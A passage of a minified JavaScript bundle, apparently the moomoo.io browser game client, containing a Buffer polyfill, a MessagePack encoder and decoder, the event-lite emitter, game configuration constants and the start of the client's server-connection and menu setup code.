2989 for (var i = e.slice(t, n), r = "", s = 0; s < i.length; s += 2) r += String.fromCharCode(i[s] + 256 * i[s + 1]);
2990 return r
2991 }
2992
2993 function C(e, t, n) {
2994 if (e % 1 != 0 || e < 0) throw new RangeError("offset is not uint");
2995 if (e + t > n) throw new RangeError("Trying to access beyond buffer length")
2996 }
2997
2998 function O(e, t, n, i, r, s) {
2999 if (!c.isBuffer(e)) throw new TypeError('"buffer" argument must be a Buffer instance');
3000 if (t > r || t < s) throw new RangeError('"value" argument is out of bounds');
3001 if (n + i > e.length) throw new RangeError("Index out of range")
3002 }
3003
3004 function R(e, t, n, i) {
3005 t < 0 && (t = 65535 + t + 1);
3006 for (var r = 0, s = Math.min(e.length - n, 2); r < s; ++r) e[n + r] = (t & 255 << 8 * (i ? r : 1 - r)) >>> 8 * (i ? r : 1 - r)
3007 }
3008
3009 function j(e, t, n, i) {
3010 t < 0 && (t = 4294967295 + t + 1);
3011 for (var r = 0, s = Math.min(e.length - n, 4); r < s; ++r) e[n + r] = t >>> 8 * (i ? r : 3 - r) & 255
3012 }
3013
3014 function _(e, t, n, i, r, s) {
3015 if (n + i > e.length) throw new RangeError("Index out of range");
3016 if (n < 0) throw new RangeError("Index out of range")
3017 }
3018
3019 function U(e, t, n, i, s) {
3020 return s || _(e, 0, n, 4), r.write(e, t, n, i, 23, 4), n + 4
3021 }
3022
3023 function D(e, t, n, i, s) {
3024 return s || _(e, 0, n, 8), r.write(e, t, n, i, 52, 8), n + 8
3025 }
3026 c.prototype.slice = function (e, t) {
3027 var n, i = this.length;
3028 if ((e = ~~e) < 0 ? (e += i) < 0 && (e = 0) : e > i && (e = i), (t = void 0 === t ? i : ~~t) < 0 ? (t += i) < 0 && (t = 0) : t > i && (t = i), t < e && (t = e), c.TYPED_ARRAY_SUPPORT)(n = this.subarray(e, t)).__proto__ = c.prototype;
3029 else {
3030 var r = t - e;
3031 n = new c(r, void 0);
3032 for (var s = 0; s < r; ++s) n[s] = this[s + e]
3033 }
3034 return n
3035 }, c.prototype.readUIntLE = function (e, t, n) {
3036 e |= 0, t |= 0, n || C(e, t, this.length);
3037 for (var i = this[e], r = 1, s = 0; ++s < t && (r *= 256);) i += this[e + s] * r;
3038 return i
3039 }, c.prototype.readUIntBE = function (e, t, n) {
3040 e |= 0, t |= 0, n || C(e, t, this.length);
3041 for (var i = this[e + --t], r = 1; t > 0 && (r *= 256);) i += this[e + --t] * r;
3042 return i
3043 }, c.prototype.readUInt8 = function (e, t) {
3044 return t || C(e, 1, this.length), this[e]
3045 }, c.prototype.readUInt16LE = function (e, t) {
3046 return t || C(e, 2, this.length), this[e] | this[e + 1] << 8
3047 }, c.prototype.readUInt16BE = function (e, t) {
3048 return t || C(e, 2, this.length), this[e] << 8 | this[e + 1]
3049 }, c.prototype.readUInt32LE = function (e, t) {
3050 return t || C(e, 4, this.length), (this[e] | this[e + 1] << 8 | this[e + 2] << 16) + 16777216 * this[e + 3]
3051 }, c.prototype.readUInt32BE = function (e, t) {
3052 return t || C(e, 4, this.length), 16777216 * this[e] + (this[e + 1] << 16 | this[e + 2] << 8 | this[e + 3])
3053 }, c.prototype.readIntLE = function (e, t, n) {
3054 e |= 0, t |= 0, n || C(e, t, this.length);
3055 for (var i = this[e], r = 1, s = 0; ++s < t && (r *= 256);) i += this[e + s] * r;
3056 return i >= (r *= 128) && (i -= Math.pow(2, 8 * t)), i
3057 }, c.prototype.readIntBE = function (e, t, n) {
3058 e |= 0, t |= 0, n || C(e, t, this.length);
3059 for (var i = t, r = 1, s = this[e + --i]; i > 0 && (r *= 256);) s += this[e + --i] * r;
3060 return s >= (r *= 128) && (s -= Math.pow(2, 8 * t)), s
3061 }, c.prototype.readInt8 = function (e, t) {
3062 return t || C(e, 1, this.length), 128 & this[e] ? -1 * (255 - this[e] + 1) : this[e]
3063 }, c.prototype.readInt16LE = function (e, t) {
3064 t || C(e, 2, this.length);
3065 var n = this[e] | this[e + 1] << 8;
3066 return 32768 & n ? 4294901760 | n : n
3067 }, c.prototype.readInt16BE = function (e, t) {
3068 t || C(e, 2, this.length);
3069 var n = this[e + 1] | this[e] << 8;
3070 return 32768 & n ? 4294901760 | n : n
3071 }, c.prototype.readInt32LE = function (e, t) {
3072 return t || C(e, 4, this.length), this[e] | this[e + 1] << 8 | this[e + 2] << 16 | this[e + 3] << 24
3073 }, c.prototype.readInt32BE = function (e, t) {
3074 return t || C(e, 4, this.length), this[e] << 24 | this[e + 1] << 16 | this[e + 2] << 8 | this[e + 3]
3075 }, c.prototype.readFloatLE = function (e, t) {
3076 return t || C(e, 4, this.length), r.read(this, e, !0, 23, 4)
3077 }, c.prototype.readFloatBE = function (e, t) {
3078 return t || C(e, 4, this.length), r.read(this, e, !1, 23, 4)
3079 }, c.prototype.readDoubleLE = function (e, t) {
3080 return t || C(e, 8, this.length), r.read(this, e, !0, 52, 8)
3081 }, c.prototype.readDoubleBE = function (e, t) {
3082 return t || C(e, 8, this.length), r.read(this, e, !1, 52, 8)
3083 }, c.prototype.writeUIntLE = function (e, t, n, i) {
3084 e = +e, t |= 0, n |= 0, i || O(this, e, t, n, Math.pow(2, 8 * n) - 1, 0);
3085 var r = 1,
3086 s = 0;
3087 for (this[t] = 255 & e; ++s < n && (r *= 256);) this[t + s] = e / r & 255;
3088 return t + n
3089 }, c.prototype.writeUIntBE = function (e, t, n, i) {
3090 e = +e, t |= 0, n |= 0, i || O(this, e, t, n, Math.pow(2, 8 * n) - 1, 0);
3091 var r = n - 1,
3092 s = 1;
3093 for (this[t + r] = 255 & e; --r >= 0 && (s *= 256);) this[t + r] = e / s & 255;
3094 return t + n
3095 }, c.prototype.writeUInt8 = function (e, t, n) {
3096 return e = +e, t |= 0, n || O(this, e, t, 1, 255, 0), c.TYPED_ARRAY_SUPPORT || (e = Math.floor(e)), this[t] = 255 & e, t + 1
3097 }, c.prototype.writeUInt16LE = function (e, t, n) {
3098 return e = +e, t |= 0, n || O(this, e, t, 2, 65535, 0), c.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e, this[t + 1] = e >>> 8) : R(this, e, t, !0), t + 2
3099 }, c.prototype.writeUInt16BE = function (e, t, n) {
3100 return e = +e, t |= 0, n || O(this, e, t, 2, 65535, 0), c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 8, this[t + 1] = 255 & e) : R(this, e, t, !1), t + 2
3101 }, c.prototype.writeUInt32LE = function (e, t, n) {
3102 return e = +e, t |= 0, n || O(this, e, t, 4, 4294967295, 0), c.TYPED_ARRAY_SUPPORT ? (this[t + 3] = e >>> 24, this[t + 2] = e >>> 16, this[t + 1] = e >>> 8, this[t] = 255 & e) : j(this, e, t, !0), t + 4
3103 }, c.prototype.writeUInt32BE = function (e, t, n) {
3104 return e = +e, t |= 0, n || O(this, e, t, 4, 4294967295, 0), c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 24, this[t + 1] = e >>> 16, this[t + 2] = e >>> 8, this[t + 3] = 255 & e) : j(this, e, t, !1), t + 4
3105 }, c.prototype.writeIntLE = function (e, t, n, i) {
3106 if (e = +e, t |= 0, !i) {
3107 var r = Math.pow(2, 8 * n - 1);
3108 O(this, e, t, n, r - 1, -r)
3109 }
3110 var s = 0,
3111 a = 1,
3112 o = 0;
3113 for (this[t] = 255 & e; ++s < n && (a *= 256);) e < 0 && 0 === o && 0 !== this[t + s - 1] && (o = 1), this[t + s] = (e / a >> 0) - o & 255;
3114 return t + n
3115 }, c.prototype.writeIntBE = function (e, t, n, i) {
3116 if (e = +e, t |= 0, !i) {
3117 var r = Math.pow(2, 8 * n - 1);
3118 O(this, e, t, n, r - 1, -r)
3119 }
3120 var s = n - 1,
3121 a = 1,
3122 o = 0;
3123 for (this[t + s] = 255 & e; --s >= 0 && (a *= 256);) e < 0 && 0 === o && 0 !== this[t + s + 1] && (o = 1), this[t + s] = (e / a >> 0) - o & 255;
3124 return t + n
3125 }, c.prototype.writeInt8 = function (e, t, n) {
3126 return e = +e, t |= 0, n || O(this, e, t, 1, 127, -128), c.TYPED_ARRAY_SUPPORT || (e = Math.floor(e)), e < 0 && (e = 255 + e + 1), this[t] = 255 & e, t + 1
3127 }, c.prototype.writeInt16LE = function (e, t, n) {
3128 return e = +e, t |= 0, n || O(this, e, t, 2, 32767, -32768), c.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e, this[t + 1] = e >>> 8) : R(this, e, t, !0), t + 2
3129 }, c.prototype.writeInt16BE = function (e, t, n) {
3130 return e = +e, t |= 0, n || O(this, e, t, 2, 32767, -32768), c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 8, this[t + 1] = 255 & e) : R(this, e, t, !1), t + 2
3131 }, c.prototype.writeInt32LE = function (e, t, n) {
3132 return e = +e, t |= 0, n || O(this, e, t, 4, 2147483647, -2147483648), c.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e, this[t + 1] = e >>> 8, this[t + 2] = e >>> 16, this[t + 3] = e >>> 24) : j(this, e, t, !0), t + 4
3133 }, c.prototype.writeInt32BE = function (e, t, n) {
3134 return e = +e, t |= 0, n || O(this, e, t, 4, 2147483647, -2147483648), e < 0 && (e = 4294967295 + e + 1), c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 24, this[t + 1] = e >>> 16, this[t + 2] = e >>> 8, this[t + 3] = 255 & e) : j(this, e, t, !1), t + 4
3135 }, c.prototype.writeFloatLE = function (e, t, n) {
3136 return U(this, e, t, !0, n)
3137 }, c.prototype.writeFloatBE = function (e, t, n) {
3138 return U(this, e, t, !1, n)
3139 }, c.prototype.writeDoubleLE = function (e, t, n) {
3140 return D(this, e, t, !0, n)
3141 }, c.prototype.writeDoubleBE = function (e, t, n) {
3142 return D(this, e, t, !1, n)
3143 }, c.prototype.copy = function (e, t, n, i) {
3144 if (n || (n = 0), i || 0 === i || (i = this.length), t >= e.length && (t = e.length), t || (t = 0), i > 0 && i < n && (i = n), i === n) return 0;
3145 if (0 === e.length || 0 === this.length) return 0;
3146 if (t < 0) throw new RangeError("targetStart out of bounds");
3147 if (n < 0 || n >= this.length) throw new RangeError("sourceStart out of bounds");
3148 if (i < 0) throw new RangeError("sourceEnd out of bounds");
3149 i > this.length && (i = this.length), e.length - t < i - n && (i = e.length - t + n);
3150 var r, s = i - n;
3151 if (this === e && n < t && t < i)
3152 for (r = s - 1; r >= 0; --r) e[r + t] = this[r + n];
3153 else if (s < 1e3 || !c.TYPED_ARRAY_SUPPORT)
3154 for (r = 0; r < s; ++r) e[r + t] = this[r + n];
3155 else Uint8Array.prototype.set.call(e, this.subarray(n, n + s), t);
3156 return s
3157 }, c.prototype.fill = function (e, t, n, i) {
3158 if ("string" == typeof e) {
3159 if ("string" == typeof t ? (i = t, t = 0, n = this.length) : "string" == typeof n && (i = n, n = this.length), 1 === e.length) {
3160 var r = e.charCodeAt(0);
3161 r < 256 && (e = r)
3162 }
3163 if (void 0 !== i && "string" != typeof i) throw new TypeError("encoding must be a string");
3164 if ("string" == typeof i && !c.isEncoding(i)) throw new TypeError("Unknown encoding: " + i)
3165 } else "number" == typeof e && (e &= 255);
3166 if (t < 0 || this.length < t || this.length < n) throw new RangeError("Out of range index");
3167 if (n <= t) return this;
3168 var s;
3169 if (t >>>= 0, n = void 0 === n ? this.length : n >>> 0, e || (e = 0), "number" == typeof e)
3170 for (s = t; s < n; ++s) this[s] = e;
3171 else {
3172 var a = c.isBuffer(e) ? e : z(new c(e, i).toString()),
3173 o = a.length;
3174 for (s = 0; s < n - t; ++s) this[s + t] = a[s % o]
3175 }
3176 return this
3177 };
3178 var L = /[^+\/0-9A-Za-z-_]/g;
3179
3180 function F(e) {
3181 return e < 16 ? "0" + e.toString(16) : e.toString(16)
3182 }
3183
3184 function z(e, t) {
3185 var n;
3186 t = t || 1 / 0;
3187 for (var i = e.length, r = null, s = [], a = 0; a < i; ++a) {
3188 if ((n = e.charCodeAt(a)) > 55295 && n < 57344) {
3189 if (!r) {
3190 if (n > 56319) {
3191 (t -= 3) > -1 && s.push(239, 191, 189);
3192 continue
3193 }
3194 if (a + 1 === i) {
3195 (t -= 3) > -1 && s.push(239, 191, 189);
3196 continue
3197 }
3198 r = n;
3199 continue
3200 }
3201 if (n < 56320) {
3202 (t -= 3) > -1 && s.push(239, 191, 189), r = n;
3203 continue
3204 }
3205 n = 65536 + (r - 55296 << 10 | n - 56320)
3206 } else r && (t -= 3) > -1 && s.push(239, 191, 189);
3207 if (r = null, n < 128) {
3208 if ((t -= 1) < 0) break;
3209 s.push(n)
3210 } else if (n < 2048) {
3211 if ((t -= 2) < 0) break;
3212 s.push(n >> 6 | 192, 63 & n | 128)
3213 } else if (n < 65536) {
3214 if ((t -= 3) < 0) break;
3215 s.push(n >> 12 | 224, n >> 6 & 63 | 128, 63 & n | 128)
3216 } else {
3217 if (!(n < 1114112)) throw new Error("Invalid code point");
3218 if ((t -= 4) < 0) break;
3219 s.push(n >> 18 | 240, n >> 12 & 63 | 128, n >> 6 & 63 | 128, 63 & n | 128)
3220 }
3221 }
3222 return s
3223 }
3224
3225 function H(e) {
3226 return i.toByteArray(function (e) {
3227 if ((e = function (e) {
3228 return e.trim ? e.trim() : e.replace(/^\s+|\s+$/g, "")
3229 }(e).replace(L, "")).length < 2) return "";
3230 for (; e.length % 4 != 0;) e += "=";
3231 return e
3232 }(e))
3233 }
3234
3235 function V(e, t, n, i) {
3236 for (var r = 0; r < i && !(r + n >= t.length || r >= e.length); ++r) t[r + n] = e[r];
3237 return r
3238 }
3239 }).call(this, n(12))
3240}, function (e, t) {
3241 var n;
3242 n = function () {
3243 return this
3244 }();
3245 try {
3246 n = n || new Function("return this")()
3247 } catch (e) {
3248 "object" == typeof window && (n = window)
3249 }
3250 e.exports = n
3251}, function (e, t) {
3252 for (var n = t.uint8 = new Array(256), i = 0; i <= 255; i++) n[i] = r(i);
3253
3254 function r(e) {
3255 return function (t) {
3256 var n = t.reserve(1);
3257 t.buffer[n] = e
3258 }
3259 }
3260}, function (e, t, n) {
3261 t.FlexDecoder = s, t.FlexEncoder = a;
3262 var i = n(0),
3263 r = "BUFFER_SHORTAGE";
3264
3265 function s() {
3266 if (!(this instanceof s)) return new s
3267 }
3268
3269 function a() {
3270 if (!(this instanceof a)) return new a
3271 }
3272
3273 function o() {
3274 throw new Error("method not implemented: write()")
3275 }
3276
3277 function c() {
3278 throw new Error("method not implemented: fetch()")
3279 }
3280
3281 function l() {
3282 return this.buffers && this.buffers.length ? (this.flush(), this.pull()) : this.fetch()
3283 }
3284
3285 function h(e) {
3286 (this.buffers || (this.buffers = [])).push(e)
3287 }
3288
3289 function u() {
3290 return (this.buffers || (this.buffers = [])).shift()
3291 }
3292
3293 function f(e) {
3294 return function (t) {
3295 for (var n in e) t[n] = e[n];
3296 return t
3297 }
3298 }
3299 s.mixin = f({
3300 bufferish: i,
3301 write: function (e) {
3302 var t = this.offset ? i.prototype.slice.call(this.buffer, this.offset) : this.buffer;
3303 this.buffer = t ? e ? this.bufferish.concat([t, e]) : t : e, this.offset = 0
3304 },
3305 fetch: c,
3306 flush: function () {
3307 for (; this.offset < this.buffer.length;) {
3308 var e, t = this.offset;
3309 try {
3310 e = this.fetch()
3311 } catch (e) {
3312 if (e && e.message != r) throw e;
3313 this.offset = t;
3314 break
3315 }
3316 this.push(e)
3317 }
3318 },
3319 push: h,
3320 pull: u,
3321 read: l,
3322 reserve: function (e) {
3323 var t = this.offset,
3324 n = t + e;
3325 if (n > this.buffer.length) throw new Error(r);
3326 return this.offset = n, t
3327 },
3328 offset: 0
3329 }), s.mixin(s.prototype), a.mixin = f({
3330 bufferish: i,
3331 write: o,
3332 fetch: function () {
3333 var e = this.start;
3334 if (e < this.offset) {
3335 var t = this.start = this.offset;
3336 return i.prototype.slice.call(this.buffer, e, t)
3337 }
3338 },
3339 flush: function () {
3340 for (; this.start < this.offset;) {
3341 var e = this.fetch();
3342 e && this.push(e)
3343 }
3344 },
3345 push: h,
3346 pull: function () {
3347 var e = this.buffers || (this.buffers = []),
3348 t = e.length > 1 ? this.bufferish.concat(e) : e[0];
3349 return e.length = 0, t
3350 },
3351 read: l,
3352 reserve: function (e) {
3353 var t = 0 | e;
3354 if (this.buffer) {
3355 var n = this.buffer.length,
3356 i = 0 | this.offset,
3357 r = i + t;
3358 if (r < n) return this.offset = r, i;
3359 this.flush(), e = Math.max(e, Math.min(2 * n, this.maxBufferSize))
3360 }
3361 return e = Math.max(e, this.minBufferSize), this.buffer = this.bufferish.alloc(e), this.start = 0, this.offset = t, 0
3362 },
3363 send: function (e) {
3364 var t = e.length;
3365 if (t > this.minBufferSize) this.flush(), this.push(e);
3366 else {
3367 var n = this.reserve(t);
3368 i.prototype.copy.call(e, this.buffer, n)
3369 }
3370 },
3371 maxBufferSize: 65536,
3372 minBufferSize: 2048,
3373 offset: 0,
3374 start: 0
3375 }), a.mixin(a.prototype)
3376}, function (e, t, n) {
3377 t.decode = function (e, t) {
3378 var n = new i(t);
3379 return n.write(e), n.read()
3380 };
3381 var i = n(16).DecodeBuffer
3382}, function (e, t, n) {
3383 t.DecodeBuffer = r;
3384 var i = n(8).preset;
3385
3386 function r(e) {
3387 if (!(this instanceof r)) return new r(e);
3388 if (e && (this.options = e, e.codec)) {
3389 var t = this.codec = e.codec;
3390 t.bufferish && (this.bufferish = t.bufferish)
3391 }
3392 }
3393 n(14).FlexDecoder.mixin(r.prototype), r.prototype.codec = i, r.prototype.fetch = function () {
3394 return this.codec.decode(this)
3395 }
3396}, function (e, t, n) {
3397 var i = n(4),
3398 r = n(7),
3399 s = r.Uint64BE,
3400 a = r.Int64BE;
3401 t.getReadFormat = function (e) {
3402 var t = o.hasArrayBuffer && e && e.binarraybuffer,
3403 n = e && e.int64;
3404 return {
3405 map: l && e && e.usemap ? u : h,
3406 array: f,
3407 str: d,
3408 bin: t ? g : p,
3409 ext: m,
3410 uint8: y,
3411 uint16: v,
3412 uint32: b,
3413 uint64: S(8, n ? E : T),
3414 int8: k,
3415 int16: w,
3416 int32: x,
3417 int64: S(8, n ? M : I),
3418 float32: S(4, A),
3419 float64: S(8, P)
3420 }
3421 }, t.readUint8 = y;
3422 var o = n(0),
3423 c = n(6),
3424 l = "undefined" != typeof Map;
3425
3426 function h(e, t) {
3427 var n, i = {},
3428 r = new Array(t),
3429 s = new Array(t),
3430 a = e.codec.decode;
3431 for (n = 0; n < t; n++) r[n] = a(e), s[n] = a(e);
3432 for (n = 0; n < t; n++) i[r[n]] = s[n];
3433 return i
3434 }
3435
3436 function u(e, t) {
3437 var n, i = new Map,
3438 r = new Array(t),
3439 s = new Array(t),
3440 a = e.codec.decode;
3441 for (n = 0; n < t; n++) r[n] = a(e), s[n] = a(e);
3442 for (n = 0; n < t; n++) i.set(r[n], s[n]);
3443 return i
3444 }
3445
3446 function f(e, t) {
3447 for (var n = new Array(t), i = e.codec.decode, r = 0; r < t; r++) n[r] = i(e);
3448 return n
3449 }
3450
3451 function d(e, t) {
3452 var n = e.reserve(t),
3453 i = n + t;
3454 return c.toString.call(e.buffer, "utf-8", n, i)
3455 }
3456
3457 function p(e, t) {
3458 var n = e.reserve(t),
3459 i = n + t,
3460 r = c.slice.call(e.buffer, n, i);
3461 return o.from(r)
3462 }
3463
3464 function g(e, t) {
3465 var n = e.reserve(t),
3466 i = n + t,
3467 r = c.slice.call(e.buffer, n, i);
3468 return o.Uint8Array.from(r).buffer
3469 }
3470
3471 function m(e, t) {
3472 var n = e.reserve(t + 1),
3473 i = e.buffer[n++],
3474 r = n + t,
3475 s = e.codec.getExtUnpacker(i);
3476 if (!s) throw new Error("Invalid ext type: " + (i ? "0x" + i.toString(16) : i));
3477 return s(c.slice.call(e.buffer, n, r))
3478 }
3479
3480 function y(e) {
3481 var t = e.reserve(1);
3482 return e.buffer[t]
3483 }
3484
3485 function k(e) {
3486 var t = e.reserve(1),
3487 n = e.buffer[t];
3488 return 128 & n ? n - 256 : n
3489 }
3490
3491 function v(e) {
3492 var t = e.reserve(2),
3493 n = e.buffer;
3494 return n[t++] << 8 | n[t]
3495 }
3496
3497 function w(e) {
3498 var t = e.reserve(2),
3499 n = e.buffer,
3500 i = n[t++] << 8 | n[t];
3501 return 32768 & i ? i - 65536 : i
3502 }
3503
3504 function b(e) {
3505 var t = e.reserve(4),
3506 n = e.buffer;
3507 return 16777216 * n[t++] + (n[t++] << 16) + (n[t++] << 8) + n[t]
3508 }
3509
3510 function x(e) {
3511 var t = e.reserve(4),
3512 n = e.buffer;
3513 return n[t++] << 24 | n[t++] << 16 | n[t++] << 8 | n[t]
3514 }
3515
3516 function S(e, t) {
3517 return function (n) {
3518 var i = n.reserve(e);
3519 return t.call(n.buffer, i, !0)
3520 }
3521 }
3522
3523 function T(e) {
3524 return new s(this, e).toNumber()
3525 }
3526
3527 function I(e) {
3528 return new a(this, e).toNumber()
3529 }
3530
3531 function E(e) {
3532 return new s(this, e)
3533 }
3534
3535 function M(e) {
3536 return new a(this, e)
3537 }
3538
3539 function A(e) {
3540 return i.read(this, e, !1, 23, 4)
3541 }
3542
3543 function P(e) {
3544 return i.read(this, e, !1, 52, 8)
3545 }
3546}, function (e, t, n) {
3547 ! function (t) {
3548 e.exports = t;
3549 var n = "listeners",
3550 i = {
3551 on: function (e, t) {
3552 return a(this, e).push(t), this
3553 },
3554 once: function (e, t) {
3555 var n = this;
3556 return i.originalListener = t, a(n, e).push(i), n;
3557
3558 function i() {
3559 s.call(n, e, i), t.apply(this, arguments)
3560 }
3561 },
3562 off: s,
3563 emit: function (e, t) {
3564 var n = this,
3565 i = a(n, e, !0);
3566 if (!i) return !1;
3567 var r = arguments.length;
3568 if (1 === r) i.forEach((function (e) {
3569 e.call(n)
3570 }));
3571 else if (2 === r) i.forEach((function (e) {
3572 e.call(n, t)
3573 }));
3574 else {
3575 var s = Array.prototype.slice.call(arguments, 1);
3576 i.forEach((function (e) {
3577 e.apply(n, s)
3578 }))
3579 }
3580 return !!i.length
3581 }
3582 };
3583
3584 function r(e) {
3585 for (var t in i) e[t] = i[t];
3586 return e
3587 }
3588
3589 function s(e, t) {
3590 var i;
3591 if (arguments.length) {
3592 if (t) {
3593 if (i = a(this, e, !0)) {
3594 if (!(i = i.filter((function (e) {
3595 return e !== t && e.originalListener !== t
3596 }))).length) return s.call(this, e);
3597 this[n][e] = i
3598 }
3599 } else if ((i = this[n]) && (delete i[e], !Object.keys(i).length)) return s.call(this)
3600 } else delete this[n];
3601 return this
3602 }
3603
3604 function a(e, t, i) {
3605 if (!i || e[n]) {
3606 var r = e[n] || (e[n] = {});
3607 return r[t] || (r[t] = [])
3608 }
3609 }
3610 r(t.prototype), t.mixin = r
3611 }((
3612 /**
3613 * event-lite.js - Light-weight EventEmitter (less than 1KB when gzipped)
3614 *
3615 * @copyright Yusuke Kawasaki
3616 * @license MIT
3617 * @constructor
3618 * @see https://github.com/kawanet/event-lite
3619 * @see http://kawanet.github.io/event-lite/EventLite.html
3620 * @example
3621 * var EventLite = require("event-lite");
3622 *
3623 * function MyClass() {...} // your class
3624 *
3625 * EventLite.mixin(MyClass.prototype); // import event methods
3626 *
3627 * var obj = new MyClass();
3628 * obj.on("foo", function() {...}); // add event listener
3629 * obj.once("bar", function() {...}); // add one-time event listener
3630 * obj.emit("foo"); // dispatch event
3631 * obj.emit("bar"); // dispatch another event
3632 * obj.off("foo"); // remove event listener
3633 */
3634 function e() {
3635 if (!(this instanceof e)) return new e
3636 }))
3637}, function (e, t, n) {
3638 (function (t) {
3639 e.exports.maxScreenWidth = 2252, e.exports.maxScreenHeight = 1520, e.exports.serverUpdateRate = 9, e.exports.maxPlayers = t && -1 != t.argv.indexOf("--largeserver") ? 80 : 50, e.exports.maxPlayersHard = e.exports.maxPlayers + 10, e.exports.collisionDepth = 6, e.exports.minimapRate = 3e3, e.exports.colGrid = 10, e.exports.clientSendRate = 5, e.exports.healthBarWidth = 50, e.exports.healthBarPad = 4.5, e.exports.iconPadding = 15, e.exports.iconPad = .9, e.exports.deathFadeout = 3e3, e.exports.crownIconScale = 60, e.exports.crownPad = 35, e.exports.chatCountdown = 3e3, e.exports.chatCooldown = 500, e.exports.inSandbox = t && "mm_exp" === t.env.VULTR_SCHEME, e.exports.maxAge = 100, e.exports.gatherAngle = Math.PI / 2.6, e.exports.gatherWiggle = 10, e.exports.hitReturnRatio = .25, e.exports.hitAngle = Math.PI / 2, e.exports.playerScale = 35, e.exports.playerSpeed = .0016, e.exports.playerDecel = .993, e.exports.nameY = 34, e.exports.skinColors = ["#bf8f54", "#cbb091", "#896c4b", "#fadadc", "#ececec", "#c4c4c400", "#4c4c4c", "#ecaff7", "#738cc3", "#9100ff"], e.exports.animalCount = 7, e.exports.aiTurnRandom = .06, e.exports.cowNames = ["Bruh", "Bruh"], e.exports.shieldAngle = Math.PI / 3, e.exports.weaponVariants = [{
3640 id: 0,
3641 src: "",
3642 xp: 0,
3643 val: 1
3644 }, {
3645 id: 1,
3646 src: "_g",
3647 xp: 3e3,
3648 val: 1.1
3649 }, {
3650 id: 2,
3651 src: "_d",
3652 xp: 7e3,
3653 val: 1.18
3654 }, {
3655 id: 3,
3656 src: "_r",
3657 poison: !0,
3658 xp: 12e3,
3659 val: 1.18
3660 }], e.exports.fetchVariant = function (t) {
3661 for (var n = t.weaponXP[t.weaponIndex] || 0, i = e.exports.weaponVariants.length - 1; i >= 0; --i)
3662 if (n >= e.exports.weaponVariants[i].xp) return e.exports.weaponVariants[i]
3663 }, e.exports.resourceTypes = ["wood", "food", "stone", "points"], e.exports.areaCount = 7, e.exports.treesPerArea = 9, e.exports.bushesPerArea = 3, e.exports.totalRocks = 32, e.exports.goldOres = 7, e.exports.riverWidth = 724, e.exports.riverPadding = 114, e.exports.waterCurrent = .0011, e.exports.waveSpeed = 1e-4, e.exports.waveMax = 1.3, e.exports.treeScales = [150, 160, 165, 175], e.exports.bushScales = [80, 85, 95], e.exports.rockScales = [80, 85, 90], e.exports.snowBiomeTop = 2400, e.exports.snowSpeed = .75, e.exports.maxNameLength = 15, e.exports.mapScale = 14400, e.exports.mapPingScale = 40, e.exports.mapPingTime = 2200
3664 }).call(this, n(41))
3665}, function (e, t) {
3666 var n = {
3667 utf8: {
3668 stringToBytes: function (e) {
3669 return n.bin.stringToBytes(unescape(encodeURIComponent(e)))
3670 },
3671 bytesToString: function (e) {
3672 return decodeURIComponent(escape(n.bin.bytesToString(e)))
3673 }
3674 },
3675 bin: {
3676 stringToBytes: function (e) {
3677 for (var t = [], n = 0; n < e.length; n++) t.push(255 & e.charCodeAt(n));
3678 return t
3679 },
3680 bytesToString: function (e) {
3681 for (var t = [], n = 0; n < e.length; n++) t.push(String.fromCharCode(e[n]));
3682 return t.join("")
3683 }
3684 }
3685 };
3686 e.exports = n
3687}, function (e, t, n) {
3688 "use strict";
3689 window.loadedScript = !0;
3690 var i = "127.0.0.1" !== location.hostname && !location.hostname.startsWith("192.168.");
3691 n(22);
3692 var r = n(23),
3693 s = n(42),
3694 a = n(43),
3695 o = n(19),
3696 c = n(44),
3697 l = n(45),
3698 h = (n(46), n(47)),
3699 u = n(48),
3700 f = n(55),
3701 d = n(56),
3702 p = n(57),
3703 g = n(58).obj,
3704 m = new a.TextManager,
3705 y = new(n(59))("moomoo.io", 3e3, o.maxPlayers, 5, !1);
3706 y.debugLog = !1;
3707 var k = !1;
3708
3709 function v() {
3710 ht && ut && (k = !0, i ? window.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", {
3711 action: "homepage"
3712 }).then((function (e) {
3713 w(e)
3714 })) : w(null))
3715 }
3716
3717 function w(e) {
3718 y.start((function (t, n, a) {
3719 var c = (i ? "wss" : "ws") + "://" + t + ":8008/?gameIndex=" + a;
3720 e && (c += "&token=" + encodeURIComponent(e)), r.connect(c, (function (e) {
3721 Bi(), setInterval(() => Bi(), 2500), e ? ft(e) : (ue.onclick = s.checkTrusted((function () {
3722 ! function () {
3723 var e = ++bt > 1,
3724 t = Date.now() - wt > vt;
3725 e && t ? (wt = Date.now(), xt()) : Tn()
3726 }()
3727 })), s.hookTouchEvents(ue), fe.onclick = s.checkTrusted((function () {
3728 Oi("https://krunker.io")
3729 })), s.hookTouchEvents(fe), pe.onclick = s.checkTrusted((function () {
3730 setTimeout((function () {
3731 ! function () {
3732 var e = xe.value,
3733 t = prompt("party key", e);
3734 t && (window.onbeforeunload = void 0, window.location.href = "/?server=" + t)
3735 }()
3736 }), 10)
3737 })), s.hookTouchEvents(pe), ge.onclick = s.checkTrusted((function () {
3738 Ae.classList.contains("showing") ? (Ae.classList.remove("showing"), me.innerText = "Settings") : (Ae.classList.add("showing"), me.innerText = "Close")
3739 })), s.hookTouchEvents(ge), ye.onclick = s.checkTrusted((function () {
3740 yn(), "block" != Ye.style.display ? Ut() : Ye.style.display = "none"
3741 })), s.hookTouchEvents(ye), ke.onclick = s.checkTrusted((function () {
3742 "block" != Qe.style.display ? (Qe.style.display = "block", Ye.style.display = "none", an(), Gt()) : Qe.style.display = "none"
3743 })), s.hookTouchEvents(ke), ve.onclick = s.checkTrusted((function () {
3744 rn()
3745 })), s.hookTouchEvents(ve), Ne.onclick = s.checkTrusted((function () {
3746 xn()
3747 })), s.hookTouchEvents(Ne), function () {
3748 for (var e = 0; e < jn.length; ++e) {
3749 var t = new Image;
3750 t.onload = function () {
3751 this.isLoaded = !0
3752 }, t.src = ".././img/icons/" + jn[e] + ".png", Rn[jn[e]] = t
3753 }
3754 }(), Pe.style.display = "none", Me.style.display = "block", Le.value = E("moo_name") || "", function () {
3755 var e = E("native_resolution");
